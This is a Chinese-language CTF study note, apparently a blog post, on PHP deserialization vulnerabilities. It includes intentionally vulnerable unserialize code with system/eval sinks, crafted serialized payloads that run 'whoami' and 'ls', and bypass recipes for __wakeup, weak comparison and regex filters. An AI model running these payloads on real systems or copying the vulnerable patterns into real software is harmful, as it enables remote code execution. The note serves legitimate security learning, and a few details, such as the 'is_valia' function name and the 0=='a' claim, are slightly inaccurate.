PHP反序列化学习笔记(CTF)

一、序列化与反序列化

在PHP中,序列化与反序列化是一种将变量(特别是对象)转换成可以存储或传输的字符串格式的方法,然后再将这些字符串还原为原始的变量。这在处理数据持久化、会话存储或进行跨脚本通信时非常有用。

1.php序列化

序列化是指将PHP的数据结构(如数组或对象)转换成一个串行的字节流(即字符串),这样就可以轻松地保存到文件、数据库或通过网络传输。PHP提供了serialize()函数来执行这一任务。

// 创建一个简单的数据数组

<?php
// 创建一个简单的数据数组
$data = array("name" => "John", "age" => 30, "city" => "New York");
// 将数组序列化成字符串
$serializedData = serialize($data);
echo $serializedData;
?>

输出结果:a:3:{s:4:"name";s:4:"John";s:3:"age";i:30;s:4:"city";s:8:"New York";}

2.php反序列化

反序列化是序列化的逆过程,它将序列化的字符串转换回PHP的原始数据结构。PHP使用unserialize()函数来实现这一功能。

<?php
// 假定我们有之前序列化的字符串
$serializedData = 'a:3:{s:4:"name";s:4:"John";s:3:"age";i:30;s:4:"city";s:8:"New York";}';
// 反序列化字符串以恢复原始数组
$data = unserialize($serializedData);
print_r($data);
?>

输出结果:

Array

(

[name] => John

[age] => 30

[city] => New York

)

二、反序列化漏洞

在PHP中,unserialize() 函数用于将之前通过 serialize() 函数序列化的字符串还原成PHP的原始数据结构,如数组或对象。如果 unserialize() 处理的数据来自不可信的来源(例如用户输入),且没有适当的验证和清理,攻击者就能够控制此数据以尝试创建任何类型的对象,并调用其方法。

1.漏洞产生原因

控制对象创建:攻击者可以控制序列化字符,强制应用程序创建特定的对象实例。

魔术方法触发:一些魔术方法如 __wakeup(), __destruct(), __toString(), 和 __call() 在对象的生命周期的特定时刻自动执行。如果攻击者可以控制这些对象的创建,他们可以触发这些方法以执行恶意代码。

利用现有的应用逻辑:在某些情况下,即使没有直接执行代码的能力,攻击者也可以通过改变应用状态或行为来利用应用逻辑。

2.漏洞代码展示

<?php
highlight_file(__FILE__);
class A{
    public $cmd;
    public function __wakeup(){
        system($this->cmd);
    }

}
unserialize($_POST['pop']);

从 POST 请求的 pop 参数中获取数据并进行反序列化。如果提交的数据是一个经过特殊构造的序列化字符串,它可以创建 A 类的实例,并在反序列化过程中触发 __wakeup() 方法。

构造序列化数据:

<?php
highlight_file(__FILE__);
class A{
    public $cmd;
    public function __wakeup(){
        system($this->cmd);
    }
}
$B = new A();
$B ->cmd='whoami';

echo serialize($B);

输出的序列化数据:O:1:"A":1:{s:3:"cmd";s:6:"whoami";}

3.PHP魔术方法

PHP 中的魔术方法是指那些以双下划线(__)开头的特殊方法。它们在特定的情况下自动调用,用于执行特定的功能,比如在对象序列化时、访问未定义的属性或方法时等。这些方法为PHP编程提供了强大的工具,使得可以更简洁地执行复杂的任务。

  • __construct() //当创建新对象时自动调用。
  • __destruct() //对象不再被使用且需要被销毁时调用。
  • __call($name, $arguments) //当调用一个不可访问的方法时调用。
  • __callStatic($name, $arguments) //当调用一个不可访问的静态方法时调用。
  • __get($name) //用于读取不可访问的属性。
  • __set($name, $value) //用于写入不可访问的属性。
  • __isset($name) //当对不可访问的属性调用 isset() 或 empty() 时被调用。
  • __unset($name) //当对不可访问的属性调用 unset() 时被调用。
  • __toString() //当尝试将对象当作字符串输出时调用。
  • __invoke() //当尝试将对象当作函数调用时执行。
  • __clone() //当对象被复制时调用。
  • __sleep() //在序列化前调用,用于清理对象,并返回表示哪些属性需要被序列化的数组。
  • __wakeup() //在反序列化后调用,用于重新初始化对象的属性或执行其他重建任务。

(1)__toString() 方法举例 //当尝试将对象当作字符串输出时自动调用

<?php
class Person {
    private $name;
    private $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }

    // 实现 __toString() 方法
    public function __toString() {
        return "Person[name=$this->name, age=$this->age]";
    }
}

$person = new Person("John Doe", 30);

// 当尝试打印对象时,__toString() 方法会被自动调用
echo $person;  // 输出: Person[name=John Doe, age=30]
?>
//在 __toString() 方法中,我们返回了一个描述对象的字符串。这样,每当对象需要以字符串形式表达时,这个方法就会被调用。

(2)__invoke()方法举例 //允许一个对象以函数的方式调用。当你尝试将一个对象当作函数来执行时,如果该对象的类中定义了 __invoke() 方法,则会自动调用这个方法。

<?php
class Greeter {
    private $name;
    public function __construct($name) {
        $this->name = $name;
    }

    public function __invoke() {
        echo "Hello, {$this->name}!\n";
    }
}

// 创建 Greeter 对象
$greeter = new Greeter("Alice");

// 直接调用对象
$greeter(); // 输出: Hello, Alice!

三、POP链构造

在计算机安全领域,特别是在讨论反序列化漏洞时,"POP链"通常指的是"属性方向的编程"(Property-Oriented Programming)链。这种技术利用了应用程序中的已有代码,尤其是那些可以通过对象的一系列属性调用或方法调用来触发的代码。攻击者通过精心构造的恶意输入(即序列化的对象),使得在反序列化过程中会触发预定义的方法链,执行潜在的恶意活动。

一个 "POP链" 通常涉及以下几个步骤:

1.选择目标函数

首先,需要识别应用程序中哪些现有的函数可以被用于执行恶意行为,常见的可利用函数如下所示:

(1)命令执行函数

exec(),shell_exec(), system(), passthru(), proc_open和popen()

exec() 函数执行一个外部程序,并且只返回最后一行的输出结果。

exec('ls -l', $output, $return_var);
print_r($output); // 打印所有输出行的数组
echo $return_var; // 执行状态代码

shell_exec() 执行通过 shell 的命令,并且将完整的输出作为字符串返回。

$output = shell_exec('ls -l');
echo "<pre>$output</pre>"; // 显示命令输出

system() 函数用于执行外部程序,并显示输出。它是实时显示输出,适合用于需要即时反馈的场合。

system('ls -l');

passthru() 函数执行一个外部程序,并直接将原始输出传递给浏览器。

passthru('cat image.png'); // 输出图片文件的内容

(2)代码执行函数

eval() ,create_function() ,assert()

eval() 函数将字符串作为 PHP 代码执行。

$code = 'echo "Hello, world!";';
eval($code);

(3)文件读取类函数

file_get_contents(), fread(),readfile()

file_get_contents()读取整个文件到一个字符串。

$content = file_get_contents("example.txt");
echo $content;

fread()从文件指针中读取数据,必须使用fopen()打开文件。

$file = fopen("example.txt", "r");
$content = fread($file, filesize("example.txt"));
fclose($file);
echo $content;

(4)文件写入类函数

file_put_contents(), fwrite()

file_put_contents()将字符串写入文件中

file_put_contents("example.txt", "Hello World!");

fwrite()像文件中写入数据,需要先用fopen()打开文件并获取文件指针

$file = fopen("example.txt", "w");
fwrite($file, "Hello World!");
fclose($file);

(5)文件包含函数

include、require、include_once、require_once

2.构造对象图

然后,创建一个对象图,这些对象通过它们的方法和属性相互关联,以确保当触发反序列化时可以按照特定顺序调用目标方法。

3.控制流程

通过操纵对象状态和方法调用顺序,达到控制应用程序行为的目的。

简单举例:

<?php
class TestClass {
    public $test;
    function __wakeup() {
        eval($this->test);
    }
}

// 恶意用户控制的数据
$data = '';
unserialize($data);

data序列化数据构造:

<?php
class TestClass {
    public $test;
    function __wakeup() {
        eval($this->test);
    }
}

$a=new TestClass();
$a->test = 'system(ls);';

echo serialize($a);
//此简单例子中无需任何绕过,仅将实例a的test值赋值为system(ls);,在根据魔术方法 __wakeup()在使用 unserialize()方法时自动调用,达到命令执行的目的。

四、php反序列化绕过

1.强比较弱比较绕过

===为强比较,==为弱比较,当使用 == 运算符时,PHP 会首先尝试将变量转换为相同的类型,然后再进行值的比较,使用 === 运算符时,PHP 不仅比较两个值的相等性,还比较它们的类型是否相同。如果类型不同,即使值相等,比较结果也是 false。0 == "a"返回的结果会为true,,当字符串被转换为数字时,如果字符串不是以数字开头,则转换结果为 0。因此,字符串 "a" 被转换为 0例如当a=3,a==="3"为false但a=="3"为true,可以利用这点控制逻辑进入不同函数。如果有if($passwd==1234567)条件,可以赋值psswd=1234567a进行绕过

2.is_valia()函数绕过

is_valia()函数要求传入str的每个字母的ascii值在32到125之间,protected属性的变量在序列化后会出现不可见字符\00*\00,导致不符合is_valia()函数要求,可以将因为php7.1以上的版本对属性类型不敏感,所以可以将protected和private变量属性改为public,public属性序列化不会出现不可见字符。

3.md5弱类型绕过

如有条件if ($md5==md5($md5)) ,md5可赋值为数字:0e215962017,有因为使用==弱类型比较,

4.数组赋值绕过

如果有条件if(md5($id) === md5($gg) && $id !== $gg),可以赋值$id[]=1;$gg[]=2;使用数组类型进行绕过。

5.__wakeup绕过参数个数绕过

影响php版本PHP5 < 5.6.25 PHP7 < 7.0.10,在反序列化过程中,会自动先调用__wakeup()方法再进行unserialize(),但如果序列化字符串中表示对象属性个数的值大于真是的属性个数时,__wakeup()的执行会被跳过。例如以下代码,进行反序列化则自动调用__wakeup(),然后触发exit('bad requests');

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

需要进行属性个数加一进行绕过

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a=new xctf();
echo serialize($a);
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改成下面
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
?>

6.两个变量指向同一内存地址绕过

例如有题目:题目中因为有if(!preg_match('/test":3/i',$a))不允许通过改变变量个数绕过, __wakeup()又会把要执行的eval($this->a);赋值为空,可以利用 __destruct()中的 $this->b=$this->c;条件进行绕过,在构造序列化数据时加入$t->a=&$t->b;。注意是=&!

<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

解题:

<?php
class test{
    public $a;
    public $b;
    public $c;
}
$t=new test();
$t->c="system('ls');";
$t->a=&$t->b;
echo serialize($t);
?>
输出:O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:13:"system('ls');";}

  • 8
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值